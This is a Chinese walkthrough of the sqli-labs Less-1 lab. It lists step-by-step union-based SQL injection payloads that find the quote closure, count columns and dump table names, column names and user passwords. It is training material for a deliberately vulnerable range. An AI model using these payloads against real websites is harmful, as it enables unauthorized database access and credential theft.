sql-labs靶场通关攻略

sqli-labs-master/Less-1

判断闭合 加单引号出现错误 

--+注释 页面正常 闭合方式为单引号

布尔判断 and 1=1 页面正常

and 1=2  页面异常  存在注入

order by 判断有几列

order by 3 页面显示正常 

order by 4 页面异常  表示存在3列

联合查询  union select 判断回显位置

id=-1' union select 1,2,3 --+  (id给一个不存在的值)

回显位置为2,3

查看库名和用户名 

id=-1' union select 1,database(),user() --+

联合查询通过内置库查询当前数据库使用的表

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

联合查询通过内置库查询当前数据库使用的表中的列

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
 

查询表中所有的数据

id=-1' union select 1,2,group_concat(id,'usernam',password) from users --+

未完待续。。。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值